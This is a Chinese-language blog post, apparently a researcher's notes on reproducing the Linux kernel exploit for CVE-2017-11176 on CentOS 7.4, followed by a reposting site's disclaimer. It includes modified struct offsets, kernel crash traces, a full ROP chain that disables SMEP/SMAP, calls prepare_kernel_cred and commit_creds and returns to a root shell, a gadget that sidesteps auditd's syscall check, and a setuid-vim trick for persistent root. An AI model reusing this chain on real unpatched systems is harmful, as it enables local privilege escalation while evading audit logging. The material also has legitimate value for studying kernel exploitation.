最近看着bsauce的博客学习kernel pwn,想试着把CVE-2017-11176复现一下,于是下载了centos 7.4.1708的内核,linux 3.10.0-693.el7.x86_64.
主要是在becauce的代码的基础上修改了下位移:
(1)netlink_sock->portid $ p/x &(*(struct netlink_sock *)0)->portid gdb-peda$ print sizeof(struct sock) $4 = 0x300 (2)netlink_sock->groups 0x300 + 0x18 (3)netlink_sock->wait->task_list.next (4)netlink_sock->wait->task_list.prev
改完偏移后前面堆喷也很顺利,然后rop的时候因为没有xchg eax, esp; ret; 的gadget,所以修改为0xffffffff81075f57: mov esp, eax; ret;,别的也跟着修改。
在centos 7.4上复现一下,结果没有成功,查了原因,需要关闭smap和kaslr保护,于是使用qemu脚本测试成功了,但是在vmware虚拟机里用iso装系统的时候不成功,内核会崩溃,看了下日志,发现了kernel crash的栈是这样的:
[ 34.351195] CPU: 0 PID: 2642 Comm: exp-centos-3100 Not tainted 3.10.0-693.el7.x86_64 #1 [ 34.351199] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 34.351204] task: ffff88005a4abf40 ti: ffff8800657c4000 task.ti: ffff8800657c4000 [ 34.351208] RIP: 0010:[<ffffffff8111f3cf>] [<ffffffff8111f3cf>] __audit_syscall_entry+0xff/0x110 [ 34.351222] RSP: 0018:ffff8800657c7f68 EFLAGS: 00010202 [ 34.351226] RAX: 000000000000005a RBX: ffff880067b7fc00 RCX: 00000000000000d0 [ 34.351230] RDX: 00000000000009ed RSI: 00000000004b2008 RDI: 000000000000005a [ 34.351233] RBP: ffff8800657c7f78 R08: 00007ffe3fb87d74 R09: ffff88005a4abf40 [ 34.351236] R10: 00007ffe3fb87d74 R11: 0000000000000246 R12: 0000000000000001 [ 34.351240] R13: 00007ffe3fb87450 R14: 0000000000000000 R15: 0000000000000001 [ 34.351245] FS: 00000000005f93c0(0063) GS:ffff88017fc00000(0000) knlGS:0000000000000000 [ 34.351249] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 34.351253] CR2: 0000563af42e44a0 CR3: 000000005a45c000 CR4: 00000000000006f0 [ 34.351272] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 34.351290] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 34.351292] Stack: [ 34.351295] 0000000000000001 ffff8801593b2338 00007ffe3fb87d60 ffffffff816B50a3 [ 34.351303] 0000000000000246 00007ffe3fb87d74 ffffffff810b79a0 0000000000019c20 [ 34.351309] 000000000000005a ffffffffffffffff 00000000000000d0 00000000000009ed [ 34.351317] Call Trace: [ 34.351328] [<ffffffff816B50a3>] auditsys+0x14/0x45 [ 34.351337] [<ffffffff810b79a0>] ? prepare_kernel_cred+0x20/0x120 [ 34.351340] Code: 5d c3 66 2e 0f 1f 84 00 00 00 00 00 48 c7 43 50 00 00 00 00 48 c7 c2 40 fc a3 81 48 89 de 4c 89 cf e8 b6 f4 ff ff 41 89 c4 eb 9a <0f> 0b 0f 1f 44 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 [ 34.351415] RIP [<ffffffff8111f3cf>] __audit_syscall_entry+0xff/0x110 [ 34.351421] RSP <ffff8800657c7f68>
之后使用strace测速系统调用的时候也崩溃了,栈是这样的:
[ 28.702169] CPU: 0 PID: 2647 Comm: exp-centos-3100 Not tainted 3.10.0-693.el7.x86_64 #1 [ 28.702174] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 28.702203] task: ffff880060e28000 ti: ffff88007299c000 task.ti: ffff88007299c000 [ 28.702209] RIP: 0010:[<ffffffff8111f3cf>] [<ffffffff8111f3cf>] __audit_syscall_entry+0xff/0x110 [ 28.702306] RSP: 0018:ffff88007299ff08 EFLAGS: 00010202 [ 28.702312] RAX: ffff880060e28000 RBX: ffff88015bcb7400 RCX: 00000000000000d0 [ 28.702353] RDX: 00000000000009ed RSI: 00000000004b2008 RDI: 000000000000005a [ 28.702360] RBP: ffff88007299ff18 R08: 00007ffe6a4c5f54 R09: ffff880060e28000 [ 28.702365] R10: 0000000000000000 R11: 0000000000000000 R12: 0000000000000001 [ 28.702369] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000001 [ 28.702377] FS: 00000000008573c0(0063) GS:ffff88017fc00000(0000) knlGS:0000000000000000 [ 28.702383] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 28.702389] CR2: 00007f1a4a0e6000 CR3: 000000006888c000 CR4: 00000000000006f0 [ 28.702425] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 [ 28.702448] DR3: 0000000000000000 DR6: 00000000ffff0ff0 DR7: 0000000000000400 [ 28.702452] Stack: [ 28.702456] ffff88007299ff58 000000000000005a ffff88007299ff48 ffffffff81039033 [ 28.702467] 0000000000000001 ffff88006882f338 00007ffe6a4c5630 0000000000000000 [ 28.702477] 00007ffe6a4c5f40 ffffffff816b5173 0000000000000001 0000000000000000 [ 28.702487] Call Trace: [ 28.702528] [<ffffffff81039033>] syscall_trace_enter+0x173/0x220 [ 28.702583] [<ffffffff816b5173>] tracesys+0x7e/0xe2 [ 28.702614] [<ffffffff810b79a0>] ? prepare_kernel_cred+0x20/0x120 [ 28.702620] Code: 5d c3 66 2e 0f 1f 84 00 00 00 00 00 48 c7 43 50 00 00 00 00 48 c7 c2 40 fc a3 81 48 89 de 4c 89 cf e8 b6 f4 ff ff 41 89 c4 eb 9a <0f> 0b 0f 1f 44 00 00 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 [ 28.702729] RIP [<ffffffff8111f3cf>] __audit_syscall_entry+0xff/0x110 [ 28.702739] RSP <ffff88007299ff08>
发现他们共同在同一个指令里面crash了__audit_syscall_entry+0xff,于是按照这个文章的方法开了KVM然后设置两线程调试在,用gdb在里面下了断点,对照源码发现是如下问题,在kernel/auditsc.c:1517行:
void __audit_syscall_entry(int major, unsigned long a1, unsigned long a2,
unsigned long a3, unsigned long a4)
{
struct task_struct *tsk = current;
struct audit_context *context = tsk->audit_context;
enum audit_state state;if (!context)
return;BUG_ON(context->in_syscall || context->name_count); 这行!
if (!audit_enabled)
return;context->arch = syscall_get_arch();
context->major = major;
context->argv[0] = a1;
context->argv[1] = a2;
context->argv[2] = a3;
context->argv[3] = a4;
注意到里面那行有个BUG_ON,去查了一下,这个auditd是linux里面的审计系统模块,默认centos是装的,可以用systemctl status auditd查看是否开启:
主要功能是对每个程序的系统调用进行审计。我们知道,程序如果要使用一些高权限的功能如网络,chmod等需要用到系统调用,再由系统代为执行,而通过分析系统程序的系统调用可以知道程序的安全性。
于是我关闭审计系统后再次尝试poc就能成功,但是有没有什么办法可以绕过这个系统的呢?经过审计,我发现这个产生BUG的原因是我们通过系统调用进行提权,那么我们这个线程里面的context->in_syscall就会设置为1,正常的系统调用返回的时候都会调用__audit_syscall_exit函数,然后让这个context->in_syscall设置为0,如下所示:
void __audit_syscall_exit(int success, long return_code) { struct task_struct *tsk = current; struct audit_context *context; if (success) success = AUDITSC_SUCCESS; else success = AUDITSC_FAILURE; context = audit_get_context(tsk, success, return_code); if (!context) return; if (context->in_syscall && context->current_state == AUDIT_RECORD_CONTEXT) audit_log_exit(context, tsk); context->in_syscall = 0; 这行! context->prio = context->state == AUDIT_RECORD_CONTEXT ? ~0ULL : 0;
而我们提权的时候没有正常返回,所以没有设置为0 ,因此,解决方法是在rop链里面增加这一条返回地址,即可绕过系统。centos里面是这个,查找方法是使用ropper和objdump,ropgadget实在太慢了:
p[r++] = 0xffffffff8111f3e0;//: mov esp, eax; ret;
总结 :有些POC在ubuntu和debian系统里面提权能够很轻易的成功,但是在centos里面就不行,可能是因为这个原因,难怪企业应用优先选择centos,安全性确实好一些。
除了第一句,其余的ROP链条如下,仅供学习,现实环境因为开启了smap和kaslr无法利用:
int r = 0; p[r++] = 0xffffffff8139337a ;// 0xffffffff8139337a : pop rdi; ret; p[r++] = 0x6f0; p[r++] = 0xffffffff81019e1d ;// 0xffffffff81019e1d: mov cr4, rdi; pop rbp; ret; p[r++] = (unsigned long)p+0x100; p[r++] = 0xffffffff81026063; // 0xffffffff81026063: pop rax; ret; p[r++] = 0; p[r++] = 0xffffffff8139337a; // 0xffffffff8139337a: pop rdi; ret; p[r++] = 0; p[r++] = 0xffffffff810b7980; // prepare_kernel_cred p[r++] = 0xffffffff810b7670; // commit_creds p[r++] = 0xffffffff8111f3e0; //__audit_syscall_exit 绕过auditd,设置context->in_sysvall=0,如果没有可以删除这段 p[r++] = 0xffffffff810632d4 ;// 0xffffffff810632d4: swapgs; pop rbp; ret; p[r++] = p+0x100; p[r++] = 0xffffffff8105528d ; // 0xffffffff8105528d: iretq; p[r++] = (unsigned long)getshell; p[r++] = user_cs; p[r++] = user_eflags; p[r++] = user_sp|0x8; //栈平衡 p[r++] = user_ss; p[r++] = 0xdeadbeefdeadbeef; p[r++] = 0xdeadbeefdeadbeef; p[r++] = 0xdeadbeefdeadbeef; p[r++] = 0xdeadbeefdeadbeef;
实际效果:
实测中因为getshell之后系统会崩溃,所以可以先使用
chmod("/usr/bin/vim",S_ISUID|S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH|S_IXOTH);
系统调用改变vim的权限,待系统重启之后使用suid提权。
参考:
linux kernel UAF(CVE-2017-11176)漏洞分析与利用 - FreeBuf网络安全行业门户
【kernel exploit】CVE-2017-11176 竞态Double-Free漏洞调试 — bsauceCVE-2017-11176-Kernel-double-fetch漏洞分析 | A1ex's Blog
kernel-exploit-factory/CVE-2017-11176/exp-slab-4119.c at main · bsauce/kernel-exploit-factory (github.com)
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)